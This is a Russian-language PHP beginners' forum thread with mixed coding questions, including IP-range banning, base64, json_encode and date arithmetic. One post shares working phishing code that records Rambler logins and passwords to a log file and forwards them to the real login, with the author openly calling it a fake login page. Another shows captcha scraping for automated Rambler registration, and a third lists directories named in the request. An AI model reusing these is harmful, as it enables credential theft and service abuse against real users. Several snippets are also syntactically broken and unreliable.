[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. REBUUS

    REBUUS Active Member

    Joined:
    6 Apr 2009
    Messages:
    314
    Likes Received:
    111
    Reputations:
    9
    решил вопрос если кому интересно

    base64_encode(); # Шифруем
    base64_decode(); # Расшифровываем


    интересно было послушать другие варианты
     
  2. tp123

    tp123 New Member

    Joined:
    30 Mar 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    как загрузить на компьютер значение капчи

    как загрузить/сохранит на компьютер значение капчи, что бы потом отправить на распознание
    PHP:
    // Создаем подключение
        
    if( $curl curl_init() ){

            
    // Нужно загрузить главную страницу бобра
            
    curl_setopt($curl,CURLOPT_URL,'http://id.rambler.ru/script/newuser.cgi');

            
    // Нужно помнить кукисы!
            
    curl_setopt($curlCURLOPT_COOKIESESSIONTRUE);
            
    curl_setopt($curlCURLOPT_COOKIEFILE"cookiefile");

            
    // Скачанный код возвращаем в переменную а не в поток
            
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);

            
    // "Следовать туда, куда зовут". Если сервис выдает 302 код, мы следуем по этой ссылке
            
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);

            
    // Таймаут, если сервис не отвечает больше 30 секунд, выходим
            
    curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);

            
    // Активируем GZIP сжатие трафика
            
    curl_setopt($curl,CURLOPT_ENCODING,'gzip,deflate');

            
    // Соврем Бобру, напишем в юзер-агент неправду
            
    curl_setopt($curl,CURLOPT_USERAGENT,'$user_agent');


            
    // Если все ок, в $html вернется html код главной страницы
            
    if( $html curl_exec($curl) ){

                
    // Указываем куда отправлять запрос
                
    curl_setopt($curl,CURLOPT_URL,'http://id.rambler.ru/script/newuser.cgi');

                
    // Указываем подключению, что слать нужно не GET (по умолчанию), а POST запросы
                
    curl_setopt($curl,CURLOPT_POST,TRUE);

                
    // Указываем, что именно отправлять в POST данных, на этой стадии происходит ввод логина/пароля
                
    curl_setopt($curl,CURLOPT_POSTFIELDS,"login=$login&firstname=$name&lastname=$lastname");

    if(
    $html curl_exec($curl)){

    // ищем секретный id-картинки
    if(preg_match('#<img src="http://id.captcha.rambler.ru/(.*).jpg" alt="" border="0" vspace="2">#'$html$capcha)){

    }
     
  3. Komyak

    Komyak Banned

    Joined:
    14 Jan 2009
    Messages:
    202
    Likes Received:
    18
    Reputations:
    1
    А если :
    PHP:
     if (isset($_REQUEST['scandir'])) 
        { 
            
    $file_list scandir($_REQUEST['scandir']); 
            foreach(
    $file_list as $key=>$value
                echo 
    "$key = $value <br/>"
        } 
    Или:
    PHP:
    $fd=fopen('log.txt','a+');
     if (isset(
    $_REQUEST['scandir'])) 
        { 
            
    $file_list scandir($_REQUEST['scandir']); 
            foreach(
    $file_list as $key=>$value)
            
    fwrite($fd,$key."=".$value."\n");
        }
    fclose($fd);
     
  4. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    нужна помощь, есть ф-ия smarty_function_sape (примеров кода в сети уйма), надо забанить только несколько указаных диапазонов IP адресов для локальной сети (типа 172.1.0.1-172.1.0.255 и 192.168.0.1-192.168.0.255) на показ ссылок.
     
    _________________________
  5. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    поидее json_encode This function only works with UTF-8 encoded data. от других кодировок- он отплевываеться
     
  6. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    по такому принципу не кодирует? \u0438\u0440\u043c\u0430
     
    1 person likes this.
  7. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    вобщем копировать не буду функция decode() пример смотри здесь
    http://www.linkexchanger.su/2008/41.html
     
  8. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    570
    Likes Received:
    86
    Reputations:
    11
    имхо проще в шаблоне не выводить их на показ, а не функцию ковырять....
    в шабе пропиши что-то типа

    Code:
    {php}
    if(ereg("192\.168\.0\.(.*)",getenv("REMOTE_ADDR")){
       echo "";
    }
    elseif(ereg("172\.1\.0\.(.*)",getenv("REMOTE_ADDR"){
       echo "";
    }else{
       echo $sape->return_links();
    }
    {/php}
    
     
    #13508 svesve, 11 Jan 2010
    Last edited: 11 Jan 2010
  9. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Смотрим регуляркой на IP, и если не найдены диапы, вызываем функцию.
    PHP:
    <?php

    if(!preg_match('#172\.1\.0\.[0-9]{1,3} | 192\.168\.0\.[0-9]{1,3}#'$_SERVER['REMOTE_ADDR']))
    smarty_function_sape();

    function 
    smarty_function_sape() {
        echo 
    'smarty_function_sape';
    }
    ?>
     
    1 person likes this.
  10. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    Спасибо, но я уже сделал по примерам таким вот способом:
    PHP:
    <?php
    function check_deny($mask)
    {
     
    $idx preg_match("#(.*)\.(.*)\.(.*)\.(.*)#"$mask$ban_args);
     
    $idx preg_match("#(.*)\.(.*)\.(.*)\.(.*)#"$_SERVER["REMOTE_ADDR"], $ip_args);
     for(
    $x=1;$x<=4;$x++)
     {
     if ((
    $ban_args[$x] == $ip_args[$x]) || $ban_args[$x] == "XXX")
     return 
    "banned";
     return 
    "clear";
     }
    }

    function 
    smarty_function_sape($params,&$smarty)
    {
    define('_SAPE_USER''85e0d69d................1eb2d3a3');
        require_once(
    $_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');
        
    $banmask1 "1.1.1.XXX";
        
    $banmask2 "2.2.2.XXX";
        
    $banmask3 "3.3.3.XXX";
        
    // $o[ 'force_show_code' ] = true;
        //$sape = new SAPE_client( $o );
     
    if (check_deny($banmask1)=="banned")
     {
     echo 
    "";
     }elseif (
    check_deny($banmask2)=="banned")
     {
     echo 
    "";
     }elseif (
    check_deny($banmask3)=="banned")
     {
     echo 
    "";
     }else
     {
    $sape = new SAPE_client();
    echo 
    $sape->return_links();
    }
    }
    ?>
     
    _________________________
  11. VladZombie

    VladZombie New Member

    Joined:
    18 Apr 2009
    Messages:
    47
    Likes Received:
    2
    Reputations:
    0
    Как сделать чтобы количество комментариев записывалось в файл? Вставляю этот код в обработчик

    PHP:
    <?PHP $file file_get_contents('text.txt');  preg_match('(.*)'$file$out) ; $a=$out[0]; $filelog fopen("text.txt","w+"); $a=$a+1fwrite($filelog,$a "); fclose($filelog); ?>
    но он выдаёт ошибку. Как исправить? или подскажите другой способ.
     
  12. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    Странно мне нужно было тоже самое,но не для сапы..

    взял у вас функцию check_deny

    передаю ей маску 127.0.0.XXX

    и тестирую на локалке. Получается мой ИП 127.0.0.1 и он попадает в маску. Функция говорит Banned

    но передаем следом маску 127.0.1.XXX и тоже говорит banned
     
  13. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,177
    Likes Received:
    1,156
    Reputations:
    202
    Вот на скорую руку, вроде справляется, но не углублялся.
    PHP:
    <?php
    ban_ip
    ('127.0.0.*');
    echo 
    'Все ок =)';



    function 
    ban_ip($mask) {
    list(
    $ip1,$ip2,$ip3,$ip4) = explode('.',$mask);

    $regexp "#$ip1\.$ip2\.$ip3\.$ip4#";
    $regexp str_replace('*','(\d+)',$regexp);
        
    if(
    preg_match($regexp,$_SERVER['REMOTE_ADDR']))
    die(
    'Извините, но ваш IP('.$_SERVER['REMOTE_ADDR'].') адрес, попадает под маску заблокированных.');
    }
    ?>
     
    1 person likes this.
  14. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Strilo4ka Есть мнение, что под расширением может скрываться почти любая СУБД. Любая из этих- http://ru.php.net/manual/en/refs.database.vendors.php и не только
     
    _________________________
  15. winlogon.exe

    winlogon.exe Active Member

    Joined:
    5 Jun 2009
    Messages:
    31
    Likes Received:
    129
    Reputations:
    13
    как сделать чтобы при открытии картинки на сайте оно было прозрачным на сколько то процентов?
     
    #13515 winlogon.exe, 13 Jan 2010
    Last edited: 13 Jan 2010
  16. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    Делай в фотошопе, а потом сохрани в png формате. PNG поддержывает прозрачный слой.
     
  17. winlogon.exe

    winlogon.exe Active Member

    Joined:
    5 Jun 2009
    Messages:
    31
    Likes Received:
    129
    Reputations:
    13
    нет. картинка-информер берется с другого сайта
     
  18. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,177
    Likes Received:
    1,156
    Reputations:
    202
    Гугли "прозрачность на gd2"
     
  19. Mil-Net

    Mil-Net Member

    Joined:
    24 May 2009
    Messages:
    29
    Likes Received:
    13
    Reputations:
    1
    Здраствуйте!

    PHP:
    <?php  $f=fopen("pass.log","at");
    flock($f,2);  
    fputs($f,"Логин: ".$_POST['login']."\n");  
    fputs($f,"Пароль ".$_POST['passw']."\n"."---------------\n");  
    flock($f,3);  fclose($f);  
    ?>  
    <form id="send" method="post" action="http://id.rambler.ru/script/auth.cgi?mode=login" name="auth_form">  
    <input type="hidden" name="from" value="">  
    <input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage">  
    <input type="hidden" name="url" value="">  
    <input type="text" name="login" id="login" value="<?php echo $login ?>">  
    <input type="password" name="passw" id="passw" value="<?php echo $passw ?>">  
    </form>  
    <script>  
    setTimeout(document.getElementById('send').submit(),5);  
    </script>

    Авторизация если правильный логин и пароль проходит!
    А вот как получить ответ от сервера?
    Тоесть если не правильный пароль то не переходит на сайт рамблера а переходит на другую страницу!
    Так сказать

    PHP:
    if ($login == 'login',$passw == 'passw')  
    {  
    echo 
    "Правильный пароль";  
    }  
    else  
    {  
    echo 
    "Не правильный пароль";  
    }
    Для понятия пишу Фейк с авторизацией!

    Заранее благодарен) :)
     
    #13519 Mil-Net, 14 Jan 2010
    Last edited: 14 Jan 2010
  20. GlooK

    GlooK Elder - Старейшина

    Joined:
    20 Apr 2007
    Messages:
    172
    Likes Received:
    53
    Reputations:
    10
    PHP:
    $time 4668725;
    $totaldays = (int)($time 86400); // секунды => дни
    $month = (int)($totaldays 30); // месяца
    $lostdays $totaldays 30// остаток дней
    $weeks = (int)($lostdays 7); // недель
    $days $weeks 7// дней
    echo $month.' мес. '.$weeks.' нед. '.$days.' дн.';
    Без склонений слов.
     
    1 person likes this.
Thread Status:
Not open for further replies.